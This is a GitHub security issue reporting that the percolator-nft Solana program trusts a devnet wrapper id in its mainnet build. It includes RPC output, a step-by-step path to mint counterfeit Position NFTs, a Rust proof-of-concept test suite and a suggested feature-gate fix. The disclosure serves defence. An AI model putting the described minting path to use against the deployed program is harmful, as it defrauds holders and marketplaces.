Skip to content

[HIGH] Deployed mainnet percolator-nft trusts a devnet wrapper id that is unclaimed on mainnet; source is ungated (percolator-stake gates the identical allowlist) #176

Description

@0x-SquidSol

Summary

PERCOLATOR_DEVNET is compiled unconditionally into every build of this program, including the artifact deployed to mainnet, and is trusted everywhere the wrapper allowlist is consulted. The crate exposes no feature that would exclude it — its only features are no-entrypoint, test and kani.

This is the rule the sibling repos state explicitly. From percolator-prog's own Cargo.toml, documenting its devnet feature:

Mirrors percolator-stake's own devnet feature and its N-3 rationale: a devnet id must never compile into a mainnet binary, so that a compromised devnet deploy keypair cannot inherit mainnet authority.

Both percolator-prog and percolator-stake apply that control. percolator-nft does not — and the divergence from percolator-stake is exact rather than analogous.

percolator-stake carries the same allowlist, with the same two program ids, correctly gated (percolator-stake/src/processor.rs:507-521):

// ... "devnet" feature flag so it only compiles in when explicitly requested.
const PERCOLATOR_MAINNET: Pubkey =
    solana_program::pubkey!("ESa89R5Es3rJ5mnwGybVRG1GrNt9etP11Z5V2QWD4edv");
#[cfg(feature = "devnet")]
const PERCOLATOR_DEVNET: Pubkey =
    solana_program::pubkey!("DhSkE7uTb8HBUYYWF1xkxMYBGtLYJEoDq1tfBD7SnHcj");
let is_valid = *percolator_program.key == PERCOLATOR_MAINNET;
#[cfg(feature = "devnet")]
let is_valid = is_valid || *percolator_program.key == PERCOLATOR_DEVNET;

The two crates' feature lists differ by exactly this one entry:

crate features
percolator-stake no-entrypoint, test, kani, devnet
percolator-nft no-entrypoint, test, kani

The commit that last set this value (215842e) notes that "nft hardcodes a wrapper allowlist in cpi_v16.rs (like stake did)" — the allowlist was copied, but the gating that makes it safe was not.

Affected code

src/cpi_v16.rs:89-93 declares both ids unconditionally, and three sites consult them:

Location Check
src/cpi_v16.rs:98 verify_portfolio_programportfolio.owner ∈ {DEVNET, MAINNET}
src/processor.rs:628 mint path — percolator_prog_id ∈ {DEVNET, MAINNET}
src/transfer_hook.rs:400 hook — percolator_prog.key ∈ {DEVNET, MAINNET}

On-chain state

Verified against the public RPC endpoints:

$ getAccountInfo DhSkE7uTb8HBUYYWF1xkxMYBGtLYJEoDq1tfBD7SnHcj  (mainnet-beta)
  "value": null                     <-- UNCLAIMED

$ getAccountInfo DhSkE7uTb8HBUYYWF1xkxMYBGtLYJEoDq1tfBD7SnHcj  (devnet)
  "program": "bpf-upgradeable-loader",
  "programData": "FNckkJfV5LwEwzjeCDnBpYCvgLUHRcnLvqWAVeAPd64e",
  "executable": true

A program's address is its deploy keypair's public key, and that keypair is not cluster-scoped. Because the address is still unclaimed on mainnet, whoever holds the devnet deploy keypair can deploy a program of their choosing at that same address on mainnet, at which point the mainnet NFT program trusts it automatically.

Consequence

An attacker who deploys at that address on mainnet does not gain access to portfolios owned by the real wrapper (ESa89R5…) — existing escrowed positions are not reachable. What they gain is the ability to mint counterfeit Position NFTs from the genuine program:

  1. Create account P, owned by their program at DhSkE7u…, with the byte layout of a PortfolioAccountV16Account (magic, version, kind, provenance, legs — all attacker-chosen).
  2. Call MintPositionNft on the real mainnet NFT program with portfolio = P.
    • verify_portfolio_program(P) passes: P.owner is on the allowlist.
    • The #109 registry checks (processor.rs:387-405) all derive from percolator_prog_id, which is P.owner: the canonical PDA is derived under the attacker's program, must be owned by the attacker's program, and must contain a record naming this NFT program. The attacker controls that program, so all three are satisfiable.
    • The #110C provenance pin compares provenance_header.portfolio_account_id to P.key — attacker-set.
    • The escrow CPI (TransferPortfolioOwnership, tag 72) targets the attacker's program, which returns success.
  3. The result is a Position NFT minted by the authentic program, under the authentic mint-authority PDA, with the authentic Percolator Position metadata and a valid ExtraAccountMetaList. It transfers normally and GetPositionValue reports whatever the fabricated portfolio says.

Such an NFT is indistinguishable from a genuine one to any consumer that checks "was this minted by the real percolator-nft program?" — the check most marketplaces, indexers and wallets would perform. Distinguishing it requires knowing that DhSkE7u… is the devnet wrapper and that it should never appear on mainnet, which is precisely the knowledge the allowlist is supposed to encode.

Proof of concept

tests/poc_devnet_id_in_mainnet_build.rs, against main at 215842e. These run on a default build — no features enabled — which is the artifact a mainnet deploy produces. Five tests: the finding at the predicate level, the finding end-to-end through the real transfer hook, and two controls that establish the result is membership in the allowlist rather than an absent check.

Reproduction note: cargo test does not build as shipped — the solana-sdk dev-dependency pulls openssl-sys, which needs a system OpenSSL. Neither solana-sdk nor proptest is referenced anywhere in src/; removing both from [dev-dependencies] makes the suite build. Results below are the 51 pre-existing tests plus these 5.

Scope: the PoC proves the trust decision — that a default build accepts the devnet wrapper as the owner of an escrowed portfolio, through the complete hook rather than just the predicate. The mainnet deployment step in the consequence section above is reasoned from the on-chain facts, not executed.

//! PoC: the devnet wrapper program id is compiled into every build, including
//! the one deployed to mainnet, and is trusted there end to end.
//!
//! The sibling repos state the rule this violates. percolator-prog's own
//! Cargo.toml, on its `devnet` feature:
//!
//!   "Mirrors percolator-stake's own `devnet` feature and its N-3 rationale: a
//!    devnet id must never compile into a mainnet binary, so that a compromised
//!    devnet deploy keypair cannot inherit mainnet authority."
//!
//! percolator-nft has no such feature -- its only features are `no-entrypoint`,
//! `test` and `kani` -- so `PERCOLATOR_DEVNET` is unconditional. These tests run
//! on a DEFAULT build, i.e. exactly the artifact a mainnet deploy would produce.

use bytemuck::Zeroable;
use percolator_nft::{
    cpi_v16::{derive_nft_registry, verify_portfolio_program, PERCOLATOR_DEVNET, PERCOLATOR_MAINNET},
    slab_types_v16 as sl,
    state_v16::{
        mint_authority_pda, position_nft_pda, PositionNftV16, POSITION_NFT_V16_MAGIC,
        POSITION_NFT_V16_VERSION,
    },
    token2022::TOKEN_2022_PROGRAM_ID,
    transfer_hook::{extra_account_metas_pda, process_execute},
};
use solana_program::{
    account_info::AccountInfo, program_error::ProgramError, pubkey::Pubkey,
    sysvar::instructions as sysvar_instructions,
};

const PROG: Pubkey = Pubkey::new_from_array([9u8; 32]);
const ALICE: Pubkey = Pubkey::new_from_array([0xA1; 32]);
const BOB: Pubkey = Pubkey::new_from_array([0xB0; 32]);
const PORTFOLIO: Pubkey = Pubkey::new_from_array([0x50; 32]);
const MARKET_GROUP: Pubkey = Pubkey::new_from_array([0x60; 32]);
const NFT_MINT: Pubkey = Pubkey::new_from_array([0x11; 32]);
const SRC_ATA: Pubkey = Pubkey::new_from_array([0x71; 32]);
const DST_ATA: Pubkey = Pubkey::new_from_array([0x72; 32]);
const ASSET_INDEX: u32 = 7;
const MARKET_ID: u64 = 42;

fn leak<T>(v: T) -> &'static mut T {
    Box::leak(Box::new(v))
}

fn acct(key: Pubkey, owner: Pubkey, data: Vec<u8>, writable: bool) -> AccountInfo<'static> {
    AccountInfo::new(
        leak(key),
        false,
        writable,
        leak(0u64),
        Box::leak(data.into_boxed_slice()),
        leak(owner),
        false,
        0,
    )
}

fn token_account(mint: &Pubkey, owner: &Pubkey, amount: u64) -> Vec<u8> {
    let mut d = vec![0u8; 165];
    d[0..32].copy_from_slice(mint.as_ref());
    d[32..64].copy_from_slice(owner.as_ref());
    d[64..72].copy_from_slice(&amount.to_le_bytes());
    d[108] = 1;
    d
}

fn mint_account() -> Vec<u8> {
    let mut d = vec![0u8; 200];
    d[36..44].copy_from_slice(&1u64.to_le_bytes());
    d[45] = 1;
    d
}

/// A portfolio shaped exactly like a real one, but owned by whichever program
/// the caller names -- that is the whole variable under test.
fn portfolio_buf(escrow_owner: [u8; 32]) -> Vec<u8> {
    let mut a: sl::PortfolioAccountV16Account = Zeroable::zeroed();
    a.provenance_header.market_group_id = MARKET_GROUP.to_bytes();
    a.provenance_header.portfolio_account_id = PORTFOLIO.to_bytes();
    a.provenance_header.owner = escrow_owner;
    a.provenance_header.version = sl::V16PodU16::new(sl::V16_ACCOUNT_VERSION);
    a.provenance_header.layout_discriminator = sl::V16PodU16::new(sl::V16_LAYOUT_DISCRIMINATOR);
    a.owner = escrow_owner;
    a.legs[0].active = 1;
    a.legs[0].asset_index = sl::V16PodU32::new(ASSET_INDEX);
    a.legs[0].market_id = sl::V16PodU64::new(MARKET_ID);
    let mut buf = vec![0u8; sl::HEADER_LEN + sl::EXPECTED_PORTFOLIO_ACCOUNT_SIZE];
    buf[0..8].copy_from_slice(&sl::MAGIC.to_le_bytes());
    buf[8..10].copy_from_slice(&sl::VERSION.to_le_bytes());
    buf[10] = sl::KIND_PORTFOLIO;
    buf[sl::HEADER_LEN..].copy_from_slice(bytemuck::bytes_of(&a));
    buf
}

fn nft_pda_buf(bump: u8) -> Vec<u8> {
    let mut s: PositionNftV16 = Zeroable::zeroed();
    s.magic = sl::V16PodU64::new(POSITION_NFT_V16_MAGIC);
    s.version = POSITION_NFT_V16_VERSION;
    s.bump = bump;
    s.portfolio_account = PORTFOLIO.to_bytes();
    s.nft_mint = NFT_MINT.to_bytes();
    s.asset_index = sl::V16PodU32::new(ASSET_INDEX);
    s.market_id_at_mint = sl::V16PodU64::new(MARKET_ID);
    s.last_holder = ALICE.to_bytes();
    bytemuck::bytes_of(&s).to_vec()
}

fn build_sysvar(top_prog: &Pubkey, data: &[u8], accounts: &[Pubkey]) -> Vec<u8> {
    let mut ib: Vec<u8> = Vec::new();
    ib.extend_from_slice(&(accounts.len() as u16).to_le_bytes());
    for a in accounts {
        ib.push(0u8);
        ib.extend_from_slice(a.as_ref());
    }
    ib.extend_from_slice(top_prog.as_ref());
    ib.extend_from_slice(&(data.len() as u16).to_le_bytes());
    ib.extend_from_slice(data);
    let total = 2 + 2 + ib.len() + 2;
    let mut sv = vec![0u8; total];
    sv[0..2].copy_from_slice(&1u16.to_le_bytes());
    sv[2..4].copy_from_slice(&4u16.to_le_bytes());
    sv[4..4 + ib.len()].copy_from_slice(&ib);
    sv[total - 2..].copy_from_slice(&0u16.to_le_bytes());
    sv
}

/// Run the full transfer hook with every wrapper-bound account pointing at
/// `wrapper` -- the portfolio's owner, the `percolator_prog` account, and the
/// registry PDA's derivation base.
fn run_hook_under_wrapper(wrapper: Pubkey) -> Result<(), ProgramError> {
    let (mint_auth, _) = mint_authority_pda(&PROG);
    let (nft_pda_key, bump) = position_nft_pda(&PORTFOLIO, MARKET_ID, &PROG);
    let (metas, _) = extra_account_metas_pda(&NFT_MINT, &PROG);
    let (registry, _) = derive_nft_registry(&wrapper, &MARKET_GROUP);

    let mut t22_data = vec![12u8];
    t22_data.extend_from_slice(&1u64.to_le_bytes());
    t22_data.push(0);

    let accounts = vec![
        acct(SRC_ATA, TOKEN_2022_PROGRAM_ID, token_account(&NFT_MINT, &ALICE, 1), false),
        acct(NFT_MINT, TOKEN_2022_PROGRAM_ID, mint_account(), false),
        acct(DST_ATA, TOKEN_2022_PROGRAM_ID, token_account(&NFT_MINT, &BOB, 0), false),
        acct(ALICE, Pubkey::default(), vec![], false),
        acct(metas, PROG, vec![0u8; 261], false),
        acct(nft_pda_key, PROG, nft_pda_buf(bump), true),
        acct(PORTFOLIO, wrapper, portfolio_buf(mint_auth.to_bytes()), false),
        acct(wrapper, Pubkey::default(), vec![], false),
        acct(mint_auth, Pubkey::default(), vec![], false),
        acct(
            sysvar_instructions::ID,
            Pubkey::default(),
            build_sysvar(&TOKEN_2022_PROGRAM_ID, &t22_data, &[SRC_ATA, NFT_MINT, DST_ATA, ALICE]),
            false,
        ),
        acct(PROG, Pubkey::default(), vec![], false),
        acct(registry, wrapper, vec![], false),
    ];

    process_execute(&PROG, &accounts, 1)
}

// -- 1. the finding ----------------------------------------------------------

#[test]
fn a_default_build_trusts_the_devnet_wrapper_id() {
    // This is the artifact a mainnet deploy produces: no features enabled.
    let devnet_owned = acct(PORTFOLIO, PERCOLATOR_DEVNET, vec![], false);
    assert!(
        verify_portfolio_program(&devnet_owned).is_ok(),
        "a default (mainnet) build accepts a portfolio owned by the DEVNET wrapper",
    );
}

#[test]
fn the_whole_hook_runs_against_the_devnet_wrapper_on_a_default_build() {
    // End to end, not just the predicate: portfolio owner, percolator_prog and
    // the registry derivation base are all the devnet id, and the hook accepts.
    assert!(
        run_hook_under_wrapper(PERCOLATOR_DEVNET).is_ok(),
        "the full transfer hook accepts the devnet wrapper in a mainnet build",
    );
}

// -- 2. controls -------------------------------------------------------------

#[test]
fn control_the_mainnet_wrapper_is_accepted_too() {
    // Proves the harness is not vacuously passing: the legitimate id works
    // through exactly the same path.
    assert!(run_hook_under_wrapper(PERCOLATOR_MAINNET).is_ok());
}

#[test]
fn control_an_unrelated_program_is_rejected() {
    // Proves the allowlist is load-bearing: anything off it fails, so the
    // devnet id's acceptance above is membership, not an absent check.
    let stranger = Pubkey::new_from_array([0xEE; 32]);
    let owned = acct(PORTFOLIO, stranger, vec![], false);
    assert!(verify_portfolio_program(&owned).is_err());
    assert!(run_hook_under_wrapper(stranger).is_err());
}

// -- 3. no feature gates it --------------------------------------------------

#[test]
fn nothing_excludes_the_devnet_id_from_this_build() {
    // The crate exposes no `devnet` feature at all, so there is no build in
    // which PERCOLATOR_DEVNET is absent. Recorded as a test so that adding the
    // gate has something to flip.
    assert_ne!(PERCOLATOR_DEVNET, PERCOLATOR_MAINNET);
    assert_eq!(
        PERCOLATOR_DEVNET.to_string(),
        "DhSkE7uTb8HBUYYWF1xkxMYBGtLYJEoDq1tfBD7SnHcj",
        "the devnet wrapper id is compiled into this binary",
    );
    assert_eq!(
        PERCOLATOR_MAINNET.to_string(),
        "ESa89R5Es3rJ5mnwGybVRG1GrNt9etP11Z5V2QWD4edv",
    );
}
running 51 tests
test result: ok. 51 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

running 5 tests
test nothing_excludes_the_devnet_id_from_this_build ... ok
test a_default_build_trusts_the_devnet_wrapper_id ... ok
test control_an_unrelated_program_is_rejected ... ok
test control_the_mainnet_wrapper_is_accepted_too ... ok
test the_whole_hook_runs_against_the_devnet_wrapper_on_a_default_build ... ok
test result: ok. 5 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

The controls carry the argument: control_the_mainnet_wrapper_is_accepted_too runs the identical path with the legitimate id, showing the harness is not vacuously passing, and control_an_unrelated_program_is_rejected shows an off-allowlist program fails both the predicate and the full hook — so the devnet id's acceptance is allowlist membership, not a missing check.

Impact

Counterfeit Position NFTs mintable from the genuine mainnet program, backed by fabricated portfolio data. Existing escrowed positions are not directly reachable, which bounds this below a drain. The precondition is control of the devnet deploy keypair — either its compromise or its misuse — which is exactly the threat model percolator-prog and percolator-stake already defend against, and devnet deploy keys are routinely held to a lower standard than mainnet ones.

Suggested fix

Apply percolator-stake's existing pattern verbatim — this is an in-house convention already proven in a sibling crate, not a new design. Put the devnet id behind a devnet cargo feature so a default build contains only the mainnet id.

[features]
no-entrypoint = []
test = []
kani = []
# Compiles the DEVNET wrapper id into the allowlist. A devnet id must never
# compile into a mainnet binary, so that a compromised devnet deploy keypair
# cannot inherit mainnet authority. Mirrors percolator-prog and percolator-stake.
devnet = []

with the constant and each of the three allowlist arms gated on #[cfg(feature = "devnet")]. Stake's let is_valid = ...; #[cfg(feature = "devnet")] let is_valid = is_valid || ...; shadowing keeps the non-devnet build free of unused-variable warnings and is worth copying directly. Devnet deploys then build with --features devnet, and the mainnet artifact cannot trust a devnet id even if one is later added by mistake.

Two points worth deciding explicitly:

  • Whether the default should be fail-closed on devnet. percolator-prog's tag 87 fails closed with StakeProgramNotPinned when no id is pinned. Here the mainnet id is always present, so a non-devnet build simply rejects devnet portfolios, which is the desired behaviour.
  • The deploy pipeline. This only helps if devnet builds actually pass --features devnet and mainnet builds do not. Worth pinning in CI so the two artifacts cannot be produced by the same command.

Separately, and regardless of the feature gate: claiming DhSkE7u… on mainnet with a keypair the team controls would remove the squatting window entirely, and is worth doing even after the gate lands.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions